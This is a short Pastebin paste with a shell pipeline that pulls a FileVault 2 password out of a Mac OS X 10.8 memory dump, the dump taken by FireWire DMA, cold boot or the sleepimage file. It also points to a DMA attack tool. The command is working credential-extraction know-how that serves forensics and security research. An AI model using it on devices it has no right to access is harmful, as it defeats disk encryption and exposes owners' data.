Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Use this to recover FileVault 2 password from a memory dump of #Mac OS X 10.8 Mountain Lion (after FireWireDMA / coldboot / /var/vm/sleepimage dump)
- $ strings memdump_0x100000-0x100000000.bin | grep --after-context=5 AuthorityRequestType | grep --after-context=1 password | sed "s/^\`//g"
- password
- yourpasswordhere
- Use something like Inception (http://www.breaknenter.org/projects/inception/) to get the actual password over FireWire DMA or read /var/vm/sleepimage for it.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
